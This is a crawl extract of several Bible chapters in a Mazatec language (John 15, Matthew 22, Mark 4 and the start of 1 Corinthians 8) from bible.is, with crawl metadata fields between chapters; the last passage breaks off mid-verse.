tìbìnè‑nò: Nga tjòcha jcha̱a xinguio̱o nga jngoò ìjngoò. 18'Jñò, tsà si̱ìjtikeè‑nò jñà xi̱ta̱ i̱sò'nde, kàtasijiìn‑nò nga 'a̱n, k'oa̱á s'ín kisìjtikeè ítjòn‑na. 19Jñò, tsà tákó ya̱ titsa̱jnajiìn‑là xi̱ta̱ i̱sò'nde, jñà xi̱ta̱ i̱sò'nde ko̱tsjakeé‑nò koni s'ín matsjakeè xi̱ta̱ xíkjín. Ta̱nga jñò, mìtsà ti̱ i̱‑ne i̱sò'nde tsa̱jòn. 'A̱n jaàjiìn‑nò nga tsachrjekàjiìn‑nò kjoa̱ xi tjín i̱sò'nde, koií kjoa̱‑la̱ nga majtikeè‑nò jñà xi̱ta̱ i̱sò'nde. 20Ndaà ti̱kítsjeèn koni s'ín kixan‑nò: \"Jè xi chi̱'nda tíjna, mìtsà ìsa̱ tíjna ítjòn‑la̱ nei‑la̱.\" Koni s'ín kiìtji̱ngui kondra̱‑na̱ jñà xi̱ta̱, jñò, k'oa̱á ti̱s'ín kji̱tji̱ngui kondra̱‑nò. Tsà kisìkitasòn 'én‑na̱, ti̱koa̱á si̱ìkitasòn tsa̱jòn. 21Ngats'iì kjoa̱ koi, k'oa̱á si̱ìko̱‑nò jè nga̱tjì‑la̱ i̱t'aà ts'a̱n nga mìkiì beèxkon jè xi kisìkasén‑na. 22''A̱n, tsà mì‑la kiì j'ia̱a ko̱ tsà mì‑la kiì tsohókoa̱a, ni̱ mé‑la jé tjín‑la̱. Ta̱nga i̱'ndei̱, mì ti̱ kiì ko̱ma ko̱si̱ko̱‑ne yijo‑la̱ kjoa̱ ts'e̱ jé‑la̱. 23Jñà xi̱ta̱ xi 'a̱n majtikeè‑na, ti̱koa̱á majtikeè Na̱'èn‑na̱. 24Ni̱mé‑là jé tjín‑la̱ jñà xi̱ta̱ tsà mì‑la kiì kijtseè jñà kjo̱xkón xi 'a̱n kis'iaàn xi ni̱ sa̱á jngoò xi̱ta̱ k'oa̱s'ín s'ín. Ta̱nga jyeé kijtseè kjo̱xkón xi 'a̱n kis'iaàn, ta̱nga tákó majtikeè‑na̱ ti̱koa̱ majtikeè Na̱'èn‑na̱. 25K'oa̱s'ín tíma nga tíbitasòn 'én xi tjít'aà Xo̱jo̱n‑la̱ Nainá xi kota'yà xi̱ta̱ koi, nga tsò: \"Tísíjtikeé‑na̱ na̱s'ín nì mé kjoa̱ tìsìkoa̱.\" 26'Ta̱nga k'e̱ ki̱tjojen jè xi ko̱si̱ko̱‑nò, xi 'a̱n sìkasén i̱t'aà ts'e̱ Na̱'èn‑na̱, jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi nguì o̱kixi̱, xi i̱t'aà ts'e̱ Na̱'èn‑na̱ nchrobá‑ne, jè tsjá 'én i̱t'aà ts'a̱n. 27Jñò, ti̱koa̱á k'oio̱o 'én i̱t'aà ts'a̱n nga ya̱á titsa̱jnako̱‑ná kóni nga tàts'en‑la̱ kjoa̱.\nSan Juan 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/15","date":"2013-12-13T10:46:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164929439\/warc\/CC-MAIN-20131204134849-00066-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":570,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.228,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús tsibíts'ia̱ ìjngoò k'a nga tsakóya‑la̱ xi̱ta̱ kjoa̱ xi mangásòn. Kitsò: 2―Koni s'ín otíxoma jè xi ngajmiì nchrobá‑ne, k'oa̱á s'ín mangásòn koni jngoò xi̱ta̱xá ítjòn xi tsibíjna jngoò s'eí k'e̱ nga chixàn ti‑la̱. 3Kisìkasén chi̱'nda‑la̱ mé‑ne nga kiì kíchja̱‑la̱ ngats'iì xi̱ta̱ xi xó kinokjoá‑la̱ nga ti‑la̱ tíbixan. Ta̱nga jñà xi̱ta̱ koi, mìkiì kòkjeiín‑la̱ nga kiì s'eí. 4Ìjngoò k'a kisìkasén chi̱'nda‑la̱ xi kj'ei̱í. Kitsò‑la̱: \"Ko̱t'ìn‑là jñá xi̱ta̱ xi jye kiì'nchré: Tsojmì xi ski̱ne̱, jyeé tjíndaà; jyeé kisìk'en nchra̱ja̱‑na̱, cho̱ xi 'ñó xiné. Jyeé tjíndaà yije kóho̱tjín. Kàtjanchrobá s'eí.\" 5Ta̱nga jñà xi̱ta̱ koi mìkiì kisìs'in. Tjín xi rancho̱‑la̱ kiì‑katsejèn‑la̱; tjín xi kjo̱hi̱ma̱‑la̱ kiì. 6Koa̱ jñà xi̱ta̱ xi i'nga, kitsobà'ñó chi̱'nda‑la̱ jè xi̱ta̱xá ítjòn. Kiskaàn‑ko̱ koa̱ kisìk'en. 7Jè xi̱ta̱xá ítjòn, 'ñó kòjti‑la̱. K'e̱é kisìkasén xi̱ta̱ soldado nga kisìk'en yije kóho̱tjín jñà xi̱ta̱ koi nga ma‑la̱ sík'en‑ná, koa̱ tsaká na̱xa̱ndá‑la̱. 8Jè xi̱ta̱xá ítjòn, ìjngoò k'a kitsò‑la̱ chi̱'nda‑la̱: \"Kixi̱í kjoa̱, jyeé tjíndaà yije xi kjoa̱ ts'e̱ s'eí, ta̱nga jñà xi̱ta̱ xi jye kiì'nchré, mìkiì mochjeén‑la̱ nga i̱ kjoi̱í. 9Tanguió ìjngoò k'a ya̱ ndi̱yá jngoò osen‑la̱ na̱xa̱ndá, ti̱nókjoa̱‑là xi̱ta̱ ni̱ta̱ yá‑ne xi ska̱jñoò nga s'eí tjín kjoa̱ ts'e̱ xi̱ta̱ xi bixan.\" 10Jñà chi̱'nda‑la̱ xi̱ta̱xá ítjòn kiì kíxkóya xi̱ta̱ i̱nchò calle ni̱ta̱ yá xi kjòtsja‑la̱ nga kiì s'eí, xi̱ta̱ xi ndaà ko̱ xi mìkiì ndaà; k'oa̱á s'ín kitseè ni'ya. 11'Jè xi̱ta̱xá ítjòn, k'e̱ nga jahas'en ni'ya, kiskoòtsejèn‑la̱ jñà xi̱ta̱ xi ijchò. K'e̱é kijtseè jngoò xi̱ta̱ xi ya̱ tíjnajiìn nga mìkiì íkjá nikje‑la̱ xi ts'e̱ kjoa̱ bixan. 12Kitsò‑la̱: \"Ji̱, amigo, ¿kó s'ín komà nga kòbitjaàs'i̱in i̱jndé nga mìkiì kichíkjeí nikje xi ts'e̱ s'eí?\" Ta̱nga xi̱ta̱ jè, tà jyò tsibìjna. 13Jè xi̱ta̱xá ítjòn kitsò‑la̱ jñà xi̱ta̱ xi nchisís'in‑la̱ ími̱xa̱: \"Tit'aà'ñó ndso̱ko̱ ko̱ tsja. I̱kjoàn ti̱katje̱en ján i̱jiìn jñò ya̱ ñánda nga ski̱ndàya ko̱ si̱ìjts'iìn ni̱'ño̱.\" 14Kitsò‑ìsa Jesús: ―K'oa̱á s'ín ko̱ma nga kjìn ma‑ne xi̱ta̱ xi nokjoà‑la̱ ta̱nga tà chibaá ma‑ne xi tjájiìn. 15Jñà xi̱ta̱ fariseo k'e̱é kiì tsajoóya‑ne nga mejèn‑la̱ ko̱hòngui Jesús mé 'én xi ki̱chja̱. 16Koií kjoa̱‑la̱ nga kisìkasén‑la̱ Jesús xi̱ta̱‑la̱ ko̱ xi̱ta̱‑la̱ Herodes; kiskònangui‑la̱, kitsò‑la̱: ―Maestro, 'ya‑náje̱n nga 'én kixi̱í xi nokjoì koa̱ k'oa̱á s'ín okoòyi ndi̱yá‑la̱ Nainá koni s'ín tjín xi kjoa̱ kixi̱. Mìkiì 'nì kinda̱ koni tsò‑lè xi̱ta̱; ko̱ mìtsà jè chìtsejèn‑jnoi kó kjoàn xi̱ta̱. 17Koa̱tìn‑náje̱n. ¿A ndaà tjín nga kíchjítjì‑je̱n tsojmì i̱t'aà ts'e̱ xi̱ta̱xá ítjòn ts'e̱ Roma, a xi majìn‑né? 18Jesús kjòchi̱ya‑la̱ nga ch'o nchisíkítsjeèn. K'e̱é kitsò‑la̱: ―Jñò, xi̱ta̱ xi jò i̱sén tjín‑nò, mé‑ne chona̱cha̱n‑ná. 19Ta̱kó‑ná jè to̱n xi machjítjì‑ne tsojmì. K'e̱é j'iìko̱ jngoò‑la̱ to̱n denario. 20K'e̱ nga kijtseè Jesús, kiskònangui‑la̱, kitsò‑la̱: ―¿Yá ts'e̱ i̱sén jè ko̱ jè 'ín xi tjít'aà? 21Kitsò xi̱ta̱ koi: ―Ts'e̱é César, xi̱ta̱xá ítjòn ts'e̱ Roma. K'e̱é kitsò‑la̱ Jesús: ―Tjiì‑lá César xi ts'e̱ César koa̱ tjiì‑lá Nainá xi ts'e̱ Nainá. 22K'e̱ nga kiì'nchré 'én koi jñà xi̱ta̱ fariseo ko̱ xi̱ta̱‑la̱ Herodes, tà kjòxkón‑la̱. Kitsjiìn Jesús, i̱kjoàn kiì‑ne. 23Ti̱koi‑ne na̱chrjein ijchòkon Jesús jñà xi̱ta̱ saduceo nga mìkiì mokjeiín‑la̱ nga faáya‑la̱ jñà xi̱ta̱ xi jye k'en. Xi̱ta̱ koi kiskònangui‑la̱ Jesús, 24kitsò‑la̱: ―Maestro, Moisés kitsò‑né: \"Tsà jngoò xi̱ta̱ x'i̱n ki̱yá xi mìkiì kis'e‑la̱ i̱xti ko̱ chjo̱ón‑la̱, jè 'ndse̱ mik'en ki̱xan‑ko̱ ìjngoò k'a chjo̱ón‑la̱ 'ndse̱ nga s'e̱‑la̱ i̱xti xi tje̱ ts'e̱ 'ndse̱.\" 25Kis'e xó jngoò k'a xi̱ta̱ i̱jndé xi itoò komà 'ndse̱. Jè xi síjna ítjòn chixàn, ta̱nga k'e̱ nga k'en, mìkiì kis'e‑la̱ i̱xti koa̱ jè 'ndse̱ xi ma jò‑ne tsibìjnako̱ jè chjo̱ón ka'àn. 26K'oa̱á ti̱ komàt'in jè 'ndse̱ xi ma jò‑ne ko̱ xi ma jàn‑ne skanda komà itoò. Ni̱jngoò xi kis'e‑la̱ i̱xti. 27Xi jyehet'aà‑ne, k'en jè chjo̱ón. 28K'e̱ nga tsà kjoa̱áya ìjngoò k'a‑la̱ mik'en, ¿ñá‑la̱á nga itoò 'ndse̱ xi ko̱ma chjo̱ón‑la̱? Nga jñà chixàn‑ko̱ nga itoò. 29K'e̱é kitsò‑la̱ Jesús: ―Jñò, maskáya‑nò koi‑né nga mìkiì 'yaà kó s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá ko̱ nga'ñó xi tjín‑la̱ Nainá. 30K'e̱ nga kjoa̱áya ìjngoò k'a‑la̱ mik'en, íchjín, íchjá, mì ti̱ kiì ki̱xan‑ne. K'oa̱á s'ín s'e̱ koni jñà àkja̱le̱ xi títsa̱jna ngajmiì xi ts'e̱ Nainá. 31Jè kjoa̱ nga faáya ìjngoò k'a‑la̱ mik'en, ¿a kj'eè bìxke̱jñoò Xo̱jo̱n‑la̱ Nainá nga jè sobà Nainá xi kitsò: 32\"'A̱n‑ná xi Nainá tsò‑na Abraham, Isaac ko̱ Jacob\"? ¡Jñà xi jye k'en, mìtsà Nainá tsò‑la̱ xi Nainá; tà jñà xi títsa̱jnakon xi Nainá tsò‑la̱! [Nga̱ i̱t'aà ts'e̱ Nainá, títsa̱jnakon xi̱ta̱ koi.] 33Jñà xi̱ta̱ na̱xa̱ndá, k'e̱ nga kiì'nchré 'én koi, tà kjòxkón‑la̱ koni s'ín tsakóya Jesús. 34Jñà xi̱ta̱ fariseo k'e̱ nga kiì'nchré nga Jesús kisìkítsa̱jnajyò jñà xi̱ta̱ saduceo, tsibíxkóya xíkjín. 35Jngoò xi xi̱ta̱ ts'e̱, xi chji̱ne̱ xo̱jo̱n‑la̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, mejèn‑la̱ skót'aà Jesús nga skóna̱cha̱n‑la̱. Kiskònangui‑la̱, kitsò‑la̱: 36―Maestro, ¿ñá‑la̱á kjo̱tíxoma xi ìsa̱ tíjna ítjòn nga yije kjo̱tíxoma ts'e̱ Moisés? 37Jesús kitsò‑la̱: ―\"Ti̱tsjachi Na̱'èn‑ná xi Nainá 'mì‑la̱, nga ko̱ ini̱ma̱‑lè ko̱ kjo̱hítsjeèn‑lè ko̱ nga tijnakoin.\" 38Jè kjo̱tíxoma xi ìsa̱ 'ñó tjín ko̱ xi tíjna ítjòn. 39Jè xi ma‑ne jò, k'oa̱á ti̱ tsò‑ne: \"Ti̱tsjachi xi̱ta̱ xingui̱i xi i'nga koni tsà ti̱ yijo tsi̱ji‑nè.\" 40Jñà títsa̱jna ítjòn jñà kjo̱tíxoma koi. Ya̱á bitjokàt'aà kóho̱tjín kjo̱tíxoma xi i'nga xi ts'e̱ Moisés ko̱ xi ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 41Tà kó ya̱á títsa̱jna jñà xi̱ta̱ fariseo. Jesús kiskònangui‑la̱, kitsò‑la̱: 42―¿Jñò, kó bixón i̱t'aà ts'e̱ Cristo [jè xi̱ta̱ xi xó si̱ìkasén‑ne Nainá]? ¿Ñánda kitje̱n‑la̱? Jñà xi̱ta̱ fariseo kitsò: ―Ya̱á kji̱nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga jè kíjna ngajo‑la̱]. 43K'e̱é kitsò Jesús: ―Ta̱nga jè David k'e̱ nga kiìchja̱ nga ko̱ nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, kitsò i̱t'aà ts'e̱ Cristo: \"Jè otíxoma‑na.\" K'oa̱á s'ín kiìchja̱ David: 44Jè Nainá kitsò‑la̱ jè xi otíxoma‑na: \"Ti̱jnat'aà‑ná i̱ kixi̱‑na̱ skanda k'e̱ nga sìkítsa̱jnanguia ndso̱koiì jñà xi kondra̱‑lè nga 'a̱n jye kisìkijne‑la̱.\" 45Jè David, tsà ko̱s'ín kitsò‑la̱ Cristo [jè xi̱ta̱ xi xó síkasén‑ne Nainá], ¿kó s'ín tjín‑ne nga ya̱ nchrobát'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David? 46Ni̱jngoò xi ko̱ma‑la̱ nga kisìkátji‑ne 'én koi. Tje̱n‑ne na̱chrjein koi, mì ti̱ yá xi kjò'ñó‑ne ikon nga kiskònangui ìsa̱‑la̱ 'én xi kj'ei̱í.\nSan Mateo 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/22","date":"2013-12-05T14:26:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046151\/warc\/CC-MAIN-20131204131726-00073-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000067949295044}","num_words":929,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsikí'tsia̱á india‑ni Jesús nga tsakón‑ya ya̱ a̱ndi ndáchikon. Ko̱ taxki̱ kjín kjomà xi̱ta̱ ra kjóxkó'ta‑la̱. 'Kia̱á tsikijnaya jngo chitso ya̱ a̱jin ndáchikon. Ko̱ nga'tsì jñà xi̱ta̱, ya̱á tsikìtsa̱hijyo ya̱ a̱ndi ndáchikon. 2Kjín ndi̱yá‑la̱ kjoa̱ ra mangásòn tsakón‑ya‑la̱. 'Kia̱ nga tsi'kéna̱jmí‑la̱, kitsó‑la̱: 3―Nda ti̱ná'ya. Jngo xi̱ta̱ kijì nga kiì kjíjndi̱ xojmá. 4'Kia̱ nga tíkjíjndi̱, tjín i'ka xojmá ra ya̱ iskatsajo ya̱ a̱ya ndi̱yá. Ko̱ 'kia̱á 'ji jñà ni̱se nga iskine. 5Ngi ko̱tjín iskatsajo ya̱ a̱sòn na̱jo̱ ya̱ ñánda̱ nga chiba ni'nde tjín; jñà xojmá ndi̱to̱ón isò, ta nga̱tjì‑la̱ mì tsa na̱nga̱ tjín ni'nde; 6ko̱ 'kia̱ nga itjo tsá'bí nga kjotsjè jè ndabá, kixì‑ní jñà xojmá ra isò, ta nga̱tjì‑la̱ nga mì kì tsa na̱nga̱ kijì kja̱ma̱‑la̱. 7Ko̱ ingì ko̱tjín iskatsajo‑isa ya̱ a̱jin na'yá. 'Kia̱ nga kjò'nga jñà na'yá, ya̱á kisì'ken‑ngi, ko̱ jñà xojmá kìi̱, mì kì tsajà‑la̱ to. 8Tanga ti̱'koa̱á iskatsajo‑te xojmá ya̱ ñánda̱ nga nda nangi; isò‑ní; ti̱'koa̱á kjò'nga‑ní; tsajá‑la̱ to; ndaá itjo; tjín ra katé to tsajà‑la̱, ko̱ tjín ra jàn‑kan tsajà‑la̱, ko̱ tjín ra skanda jngo sindo̱ to tsajà‑la̱ nga jngó jngó tja'tsin. 9A̱kjòn kitsò‑la̱ Jesús: ―Nda kjón ti̱ná'ya koni 'sín tíxin‑no. 10'Kia̱ nga ijye isijna ta̱jngo‑ni Jesús, jñà xi̱ta̱ ra ya̱ tjítsa̱jna'ta chraña‑la̱ ko̱ jñà xi̱ta̱‑la̱ ra tejò ma‑ni, iskonangií‑la̱ kó'sín tsò‑ni jè 'én ra ko̱'sín tsi'kéna̱jmí‑la̱. 11Kitsó Jesús: ―Jión tsako̱‑no nga i̱nchi'ya jè kjoa̱ ra tjí'ma koni 'sín nga batéxoma Nainá; tanga jñà ra kj'ií xi̱ta̱, tà jñá 'se̱na̱jmíya‑la̱ a̱'ta 'tse̱ kjoa̱ ra mangásòn, 12mé‑ni nga mì kì ske̱‑ni ni̱'sín 'ñó nda sko̱òtsíjen, ti̱'koa̱á ni̱'sín 'ñó nda kji̱'nchré, takó mì kì ko̱chi̱ya‑la̱. 'Koa̱á ma‑ni nga mì kì si̱ìkaatjìya‑ila̱ jè kjo̱bítsjen‑la̱ ko̱ mì kì ma si̱hijcha'ta‑la̱ Nainá jñà jé ra tjín‑la̱. 13Kitsó Jesús: ―¿A mí fìya‑no kó'sín tsò‑ni jè kjoa̱ mangásòn ra̱kìi̱? ¿Kó'sín ko̱ma‑ni nga ko̱chi̱ya‑no nga'tsì kjoa̱ ra i'ka? 14Jè ra kjíjndi̱ xojmá jé jngoya‑la̱ jè xi̱ta̱ ra síka'bísòn jè 'én‑la̱ Nainá. 15Jñà xojmá ra ixaájten ya̱ a̱ya ndi̱yá, jñá jngoya‑la̱ jñà xi̱ta̱ ra 'nchré 'én‑la̱ Nainá. Ra ma a̱skan‑ni, 'kia̱ nga ijye 'nchré, 'fiì jè xi̱ta̱‑ni̱í nga faháxìn ya̱ a̱jin inìma̱‑la̱ jñà 'én ra ijye kií'nchré. 16Jñà xojmá ra ixaájten ya̱ a̱jin na̱jo̱, jñá jngoya‑la̱ jñà xi̱ta̱ ra 'nchré 'én‑la̱ Nainá. 'Ñó tsja 'se‑la̱ 'kia̱ nga ti̱'sa̱ 'nchré. 17Tanga 'koa̱á 'sín ngoya‑la̱ koni tsa tsìn‑la̱ kja̱ma̱ nga mì tsa ngi ko̱ inìma̱‑la̱ kjokjiín‑la̱, mì kì 'ñó mincha, ta chibaá ni̱chjin chíkjoa̱‑la̱. 'Kia̱ mé kjoa̱ ra sakó‑la̱ ko̱ tsa xi̱ta̱ fì‑la̱ kondra̱ ra ta nga̱tjì 'tse̱ 'én‑la̱ Nainá, ndi̱to̱ón tsjin‑ni jè ndi̱yá‑la̱ Nainá. 18Jñà xojmá ra ya̱ ixaájten ya̱ ñánda̱ nga tjín na'yá, jñá ngoya‑la̱ xi̱ta̱ ra 'nchré 'én‑la̱ Nainá, 19tanga jñá kjoa̱nchi̱ná ra tjín i̱ i̱sà'nde, 'ñó síkájno, ko̱ to̱ón 'ñó matsjake. Jñá mejèn‑la̱ nga 'se ijye‑la̱ tsajmì ra tjín i̱ i̱sà'nde. 'Koa̱á ma‑ni nga síjchaàjin jè 'én‑la̱ Nainá ra 'nchré, ko̱ ni̱mé kjoa̱ ra nda tjín batsíjen ra a̱'ta 'tse̱. 20Jñá xojmá ra ixaájten ya̱ ñánda̱ nga nda nangi, jñá jngoya‑la̱ xi̱ta̱ ra 'nchré 'én‑la̱ Nainá ko̱ makjiín‑la̱. Batsíjeén kjoa̱ ra nda tjín ra a̱'ta 'tse̱. 'Koa̱á 'sín ma koni jñà xojmá ra nda bajà‑la̱ to, nga tjín ra katé bajà‑la̱, ko̱ tjín ra jàn‑kan bajà‑la̱, ko̱ skanda tjín ra jngo sindo̱ to bajà‑la̱ nga jngó jngó tja'tsin yá. 21Jesús kitsó‑isa‑la̱: ―¿A kií xá sité'í jngo‑ni ni'í ra síhisen nga ya̱ si̱kíjnangieé kàxa̱ ko̱ tsa ya̱ si̱kíjnangieé na̱chan? Jngo ni'í ra síhisen, kií xá sité'í‑ni nga ya̱ si̱jna ya̱ ñánda̱ 'nga chon, mé‑ni nga nda si̱hisen‑ni ya̱ ñánda̱ nga jñò chon. 22Nga̱ nga'tsì kjoa̱ ra 'ma tjíhijyo 'ndi̱ 'ndi̱, takó ko̱tsíjen‑yá‑ní; ko̱ ni̱'sín bato 'ñó tjí'ma, takó jcha̱ tsijeén‑la̱. 23¡Ndaá ti̱chi̱ya‑la takòn koni 'sín tíxin‑no! 24Jesús kitsó‑isa‑la̱: ―Jiòn ra i̱nchina'yá, nda kjón ti̱ná'ya. Jè chi̱ba̱ ra si̱chi̱ba̱‑la xàngio̱o, ti̱jé ko̱chi̱ba̱ ngajo‑no, skanda isa̱á tsjásòn-isa‑no. 25Nga̱ jè ra machi̱ya‑la̱, isa̱á tse ko̱chi̱ya-isa‑la̱; ko̱ jè ra chiba kjo̱bítsjen tjín‑la̱, skanda tjáhixín‑la̱ jè kjo̱bítsjen ra tsò nga tjín‑la̱. 26Kitsó‑te Jesús: ―Jè kjoa̱ koni 'sín nga batéxoma Nainá, 'koa̱á jngoya‑la̱ koni 'sín ma 'kia̱ nga jngo xi̱ta̱ bítje̱ ni̱jmé. 27Jè ni̱jmé bisó‑ní ko̱ mihijin‑ní ni̱'sín jè xi̱ta̱ fajnafè 'kia̱ nga ni̱tje̱n ko̱ basítje̱n 'kia̱ nga ni̱chjin, ko̱ nda mí be‑ni ra jè kó'sín ma‑la̱ nga ma'nga. 28Nga̱ jé nangi ra ko̱'sín ma‑la̱ síkisò; ko̱ ítjòn bitjo xka̱‑la̱, ko̱ a̱skan‑ni nga maje jè yá‑la̱, ko̱ a̱kjòn tjo jè natín‑la̱, ko̱ a̱kjòn 'kia̱á tjo 'je̱‑la̱. 29'Kia̱ nga ijye xì jè ni̱ji̱n, 'kia̱á sixkó; nga̱ ijyeé ijchò chi̱ba̱‑la̱ nga ko̱xkó. 30Jesús ngi india ko̱ kitsò‑isa: ―¿Mé ra ma mangásòn‑ko̱ koni 'sín nga batéxoma jè Nainá? ¿Mé ra ma si̱ngásòn‑ke̱é? 31Jé‑la ma mangásòn‑ko̱ jè ra 'mì xojmá mostaza, nga 'kia̱ nga sitje̱ ya̱ a̱jin nangi jè xojmá mostaza, jè‑ní ra isa̱ 'ñó i̱tsé‑ni ta nga'tsì xojmá ra tjín i̱ a̱'ta nangi. 32'Kia̱ nga ijye sitje̱, bisó‑ní, a̱kjòn ma'nga‑ní ko̱ skanda isa̱á 'ñó 'nga ma koni jñà xka̱ ra ti̱'koa̱ xá sitje̱‑te‑ni. Ko̱ 'ñó i'i ma jñà chrja‑la̱, skanda jñà ni̱se maá bínda'á tjé‑la̱ nga bìtsa̱jnangi 'ngién‑la̱. 33Kjín sko̱ya kjoa̱ ra mangásòn isìchjeén Jesús 'kia̱ nga tsakón‑ya jè 'én nda‑la̱ Nainá, koni 'ki nga ma kjòchi̱ya‑la̱ xi̱ta̱. 34Ni̱mé 'én ra mì ko̱ kjoa̱ mangásòn tsakón‑ya‑ila̱. Tanga jñà xi̱ta̱‑la̱ ra kotá'yá'ta‑la̱, nda kjón tsi'kéna̱jmí kixi̱‑la̱ 'kia̱ nga ijye xìn tjítsa̱hijyo. 35'Kia̱ nga ijye kjòjñò nga ti̱jè‑ni ni̱chjin, Jesús kitsó‑la̱ xi̱ta̱‑la̱ ra ya̱ kotá'yá'ta‑la̱: ―Tjiaán, ya̱ ra ijngoa ndáchikon ján. 36Jñà xi̱ta̱ ra kjìn ma‑ni, ta ya̱á tsikitsa̱jna ra jñà; koni 'sín nga tjítsa̱jnaya chitso jè Jesús ko̱ jñà xi̱ta̱‑la̱ ra ya̱ kotá'yá'ta‑la̱, 'koa̱á 'sín kijì. Ko̱ ti̱'koa̱á ya̱á ta̱ña tsakáhijtako̱ i'ka‑isa chitso ra kj'ií. 37'Kia̱ nga ijye i̱nchifì ya̱ a̱sòn nandá, 'jií jngo tjo̱xkón ra taxki̱ kjomà‑ní; ngi iskimí'ngaá nandá, ko̱ jè chitso, ijyeé kja̱me kitse nandá. 38Jesús ya̱á kjijnafè ya̱ tjà'tsin chitso. Kijna-ngisko jngo nikje-ngisko. 'Kia̱á iní'ká‑la̱, ki'mì‑la̱: ―Maestro, ¿a sí ta mí makájno‑li nga ijyeé mejèn ki̱yé? 39'Kia̱á tsasítje̱n Jesús, tsakátiko̱ jè tjo̱; ko̱ a̱kjòn kitsò‑la̱ jè ndáchikon: ―Jyò ti̱jni. Ndi̱to̱ón isijyò‑ni tjo̱, ko̱ ngi ndaá kjondayá‑ni. 40Jesús kitsó‑la̱ xi̱ta̱‑la̱: ―¿Mé‑ni nga skon‑no? ¿A takó kjeé tsa makjiín‑no ra a̱'ta tsa̱'a̱n? 41Jñà xi̱ta̱‑la̱ taxki̱ 'ñó itsakjòn. Ko̱ iskonangijno iskonangi'ta‑la̱ xákjién nga jngó jngóo̱, kitsò‑la̱: ―¿Yá xi̱ta̱‑ní ra̱kìi̱ tsa'koa̱ nga skanda síhitjasòn‑la̱ jè tjo̱ ko̱ jè ndáchikon?\nSan Marcos 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/4","date":"2013-12-07T19:37:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055759\/warc\/CC-MAIN-20131204131735-00095-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":1006,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè ra kjoa̱ 'tse̱ ijo‑la̱ cho̱ ra biya a̱'ta 'tse̱ xkósòn ra nainá tsò‑la̱ xi̱ta̱ i̱sà'nde, jiòn‑jiòn bixó‑nó nga nga'tsí‑ná ijyeé tjín‑ná kjoa̱chji̱ne̱ a̱'ta 'tse̱ kjoa̱ kìi̱. Kixi̱í kjoa̱, tanga 'kia̱ nga tjín‑ná kjoa̱chji̱ne̱, ma'ngaá takén. Tanga 'kia̱ nga tjín‑ná kjo̱tsjacha, isa̱á nda 'bì nga'ñó‑lá xàngie̱é. 2Tsa tjín i'ka ra ko̱'sín síkítsjen nga ijyeé 'ñó nda machi̱ya‑la̱, takó kjè tsa nda be kjòn‑ni koni 'sín tjínè‑la̱ nga ske̱. 3Tsa yá xi̱ta̱‑ni ra tsjake Nainá, jè Nainá ndaá bexkon xi̱ta̱ kìi̱. 4'Koa̱á xián‑no kó'sín tjín, a maá chine ijo‑la̱ cho̱ ra biya a̱'ta 'tse̱ xkósòn ra nainá tsò‑la̱ xi̱ta̱. Bixó‑nájiòn nga ijyeé 'ya nga jngo xkósòn ra nainá tsò‑la̱ xi̱ta̱ i̱sà'nde, mì tsa mé nga'ñó tjín‑la̱, nga̱ ta jngoó ma‑ni ra ngi Nainá. 5Ni̱'sín takó tjín ya̱ ján ngajmi ko̱ ya̱ a̱'ta nangi jñà ra ko̱'sín nainá tsò‑la̱ xi̱ta̱. (Koni tsò‑ni kjoa̱ nga kjín ma‑ni ra nainá ko̱ ra na̱'ín‑ná.) 6Tanga ra a̱'ta tsa̱jién, ta jngoó ma‑ni ra Nainá, jè ra Na̱'ín‑ná ma, jè ra a̱'ta 'tse̱ nchrabá ijye‑ni nga'tsì tsajmì ra tjín; ko̱ kií xá titsa̱jna‑ná nga jè chja̱'nda‑ná ra jién. Ko̱ ti̱'koa̱á ta jngoó ma‑ni jè ra tíjna ítjòn‑ná, jè Jesucristo, jè ra a̱'ta 'tse̱ nga'ñó‑la̱ ma isinda‑ni nga'tsì tsajmì ra tjín, ko̱ skanda a̱'ta 'tse̱é titsa̱jnakon‑te‑ná ra jién. 7Tanga mì tsa ta nga'tsì‑ni xi̱ta̱ ko̱'sín nda be kjoa̱ kìi̱; nga̱ tjín i'ka ra ko̱'sín nga‑la̱ skanda kjotseé nga jñà bexkón xkósòn ra nainá tsò‑la̱; takó 'koa̱á 'sín síkítsjen, 'kia̱ nga kjine tsajmì ra ya̱ manga̱tsja xkósòn, koni tsa takó i̱nchibexkón‑ní. Ta nga̱tjì‑la̱ nga inda tjín ya̱ a̱jin kjo̱bítsjen‑la̱, 'koa̱á 